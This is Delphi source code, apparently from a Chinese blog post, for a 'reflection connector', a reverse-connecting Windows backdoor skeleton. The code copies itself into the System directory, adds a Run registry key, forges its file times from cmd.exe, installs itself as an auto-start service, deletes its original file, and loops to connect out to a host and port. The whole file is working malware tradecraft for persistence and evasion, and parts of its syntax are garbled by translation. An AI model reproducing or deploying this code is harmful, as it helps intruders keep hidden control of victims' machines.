Program Svrdemo;
Uses
Windows
Winsvc,
Winsock
Const
Regname = ' Svrdemo ';
Var
Szservicename:pchar = ' Svrdemo ';
Szfilename:pchar;
Servicetable:array [0..1] of tservicetableentry;
Status:service_status;
Statushandle:service_status_handle;
Stopped:boolean;
Paused:boolean;
Cmd:array[0..max_path] of Char;
Get System Directory
function Getdirectory (Dint:integer): string;
Var
S:ARRAY[0..255] of Char;
Begin
Case DInt of
0:getwindowsdirectory (@s, 256); Path to the Windows Installer folder
1:getsystemdirectory (@s, 256); The path that exists in the System file folder
2:gettemppath (256,@s); The path that exists in the Temp file folder
End
If dint=2 Then
Result: =string (s)
Else
Result: = String (s) + ' \ ';
End
Set file time
Procedure SetTime (Srcfile,destfile:pchar);
Var
Hfileold,hfilenew:thandle;
CreationTime, LastAccessTime, LastWriteTime:P filetime;
Begin
Hfileold: =createfile (Srcfile,generic_read,file_share_read,nil,
Open_existing,file_attribute_normal,cardinal (nil));
if (hfileold=invalid_handle_value) then exit;
Hfilenew: =createfile (Destfile,generic_write,file_share_write,nil,
Open_existing,file_attribute_normal,cardinal (nil));
if (hfilenew=invalid_handle_value) then exit;
Getmem (creationtime,sizeof (tfiletime));
Getmem (lastaccesstime,sizeof (tfiletime));
Getmem (lastwritetime,sizeof (tfiletime));
Getfiletime (Hfileold,creationtime,lastaccesstime,lastwritetime);
Setfiletime (Hfilenew,creationtime,lastaccesstime,lastwritetime);
Freemem (CreationTime);
Freemem (LastAccessTime);
Freemem (LastWriteTime);
CloseHandle (hfilenew);
CloseHandle (Hfileold);
End
function Lookupname (const name:string): TINADDR;
Var
Hostent:phostent;
INADDR:TINADDR;
Begin
Hostent: = gethostbyname (Pansichar (Name));
Fillchar (Inaddr, SizeOf (INADDR), 0);
If hostent <> Nil Then
Begin
With Inaddr, hostent^ do
Begin
S_UN_B.S_B1: = H_addr^[0];
S_UN_B.S_B2: = h_addr^[1];
S_UN_B.S_B3: = h_addr^[2];
S_UN_B.S_B4: = H_addr^[3];
End
End
Result: = inaddr;
End
function startnet (Host:string;port:integer;var sock:integer): Boolean;
Var
Wsadata:twsadata;
Fsocket:integer;
Sockaddrin:tsockaddrin;
Err:integer;
Begin
Err:=wsastartup ($0101,wsadata);
Fsocket:=socket (PF_INET,SOCK_STREAM,IPPROTO_IP);
If Fsocket=invalid_socket Then
Begin
Result:=false;
Exit;
End
Sockaddrin.sin_addr:=lookupname (host);
sockaddrin.sin_family: = pf_inet;
Sockaddrin.sin_port: =htons (port);
Err:=connect (Fsocket,sockaddrin, SizeOf (Sockaddrin));
If Err=0 Then
Begin
Sock:=fsocket;
Result:=true;
End Else
Begin
Result:=false;
End
End
Procedure Delme;
Var
Module:hmodule;
Buf:array[0..max_path-1] of Char;
P:ulong;
Hkrnl32:hmodule;
Pexitprocess, Pdeletefile, Pfreelibrary:pointer;
Begin
Module: = GetModuleHandle (nil);
GetModuleFileName (module, buf, sizeof (BUF));
CloseHandle (Thandle (4));
P: = ULONG (module) + 1;
HKrnl32: = GetModuleHandle (' kernel32 ');
Pexitprocess: = GetProcAddress (hKrnl32, ' exitprocess ');
Pdeletefile: = GetProcAddress (hKrnl32, ' DeleteFileA ');
Pfreelibrary: = GetProcAddress (hKrnl32, ' freelibrary ');
Asm
Lea EAX, BUF
Push 0
Push 0
Push EAX
Push pexitprocess
Push P
Push Pdeletefile
Push Pfreelibrary
Ret
End
End
function Setregvalue (key:hkey; subkey,name,value:string): Boolean;
Var
Regkey:hkey;
Begin
Result: = false;
RegCreateKey (Key,pchar (subkey), RegKey);
If RegSetValueEx (Regkey,pchar (name), 0,reg_expand_sz,pchar (value), length (value)) = 0 Then
Result: = true;
RegCloseKey (RegKey);
End
Procedure Setdelvalue (Root:hkey; Path, value:string);
Var
Key:hkey;
Begin
RegOpenKeyEx (ROOT, PChar (Path), 0, key_all_access, KEY);
Regdeletevalue (Key, PChar (Value));
RegCloseKey (Key);
End
function Installservice (ServiceName, DisplayName, filename:string): boolean;
Var
Scmanager,service:thandle;
Args:pchar;
Begin
Result: = False;
Scmanager: = OpenSCManager (nil, nil, sc_manager_all_access);
If Scmanager = 0 then Exit;
Try
Service: = CreateService (Scmanager,//Handle
PChar (ServiceName),//service name
PChar (DisplayName),//Display service name
Service_all_access,//service access type
Service_win32_own_process,//service type or service_interactive_process
Service_Auto_Start,//auto-start service
Service_error_ignore,//Ignore errors
PChar (filename),//Startup file name
Nil,//name of load ordering group (load group name) ' LocalSystem '
Nil,//Tag identifier
Nil,//correlation array name
Nil,//account (current)
NIL); Password (current)
Args: = nil;
StartService (Service, 0, Args);
Closeservicehandle (Service);
Finally
Closeservicehandle (Scmanager);
End
Result: = True;
End
Procedure Uninstallservice (servicename:string);
Var
Scmanager,service:thandle;
Servicestatus:service_status;
Begin
Scmanager: = OpenSCManager (nil, nil, sc_manager_all_access);
If Scmanager = 0 then Exit;
Try
Service: = OpenService (Scmanager, PChar (ServiceName), service_all_access);
ControlService (Service, Service_control_stop, servicestatus);
DeleteService (Service);
Closeservicehandle (Service);
Finally
Closeservicehandle (Scmanager);
End
End
Procedure Servicectrlhandler (Control:dword); stdcall;
Begin
Case Control of
Service_control_stop:
Begin
Stopped: = True;
Status.dwcurrentstate: = service_stopped;
End
Service_control_pause:
Begin
Paused: = True;
Status.dwcurrentstate: = service_paused;
End
Service_control_continue:
Begin
Paused: = False;
Status.dwcurrentstate: = service_running;
End
Service_control_interrogate:;
service_control_shutdown:stopped: = True;
End
SetServiceStatus (Statushandle, Status);
End
Procedure ServiceMain;
Var
S:integer;
msg:tmsg;
Begin
{while (GetMessage (msg,0,0,0)) does
Begin
TranslateMessage (MSG);
DispatchMessage (MSG);
End }
Repeat
If not Paused then
Begin
StartNet (' 127.0.0.1 ', 600,s);
Sleep (2000);
End
Until Stopped;
ExitProcess (0);
End
Procedure Servicectrldispatcher (Dwargc:dword; var lpszargv:pchar); stdcall;
Begin
Statushandle: = RegisterServiceCtrlHandler (Szservicename, @ServiceCtrlHandler);
If Statushandle <> 0 Then
Begin
ZeroMemory (@Status, SizeOf (Status));
Status.dwservicetype: = Service_win32_own_process or service_interactive_process;
Status.dwcurrentstate:= service_start_pending;
status.dwcontrolsaccepted: = Service_accept_stop or service_accept_pause_continue;
Status.dwwaithint: = 1000;
SetServiceStatus (Statushandle, Status);
Stopped: = False;
Paused: = False;
Status.dwcurrentstate: = service_running;
SetServiceStatus (Statushandle, Status);
ServiceMain;
End
End
Procedure Main;
Begin
szFileName: =pchar (getdirectory (1) + Szservicename + '. exe ');
If PARAMSTR (1) = ' U ' Then
Begin
Uninstallservice (Szservicename);
Setdelvalue (HKEY_LOCAL_MACHINE, ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ', regname);
End Else
Begin
GetModuleFileName (Hinstance,cmd,max_path);
Servicetable[0].lpservicename: = Szservicename;
Servicetable[0].lpserviceproc: = @ServiceCtrlDispatcher;
Servicetable[1].lpservicename: = nil;
Servicetable[1].lpserviceproc: = nil;
StartServiceCtrlDispatcher (Servicetable[0]);
If CopyFile (Cmd,szfilename,false) Then
Begin
Setregvalue (HKEY_LOCAL_MACHINE, ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ', regname,szfilename);
SetTime (PChar (getdirectory (1) + ' cmd.exe '), szFileName);
Installservice (Szservicename, Szservicename, szFileName);
Delme;
End
End
End
Begin
Main;
End.
http://blog.csdn.net/diligentcatrich/article/details/24466661
A simple reflection connector (modify file time, and create a Windows service)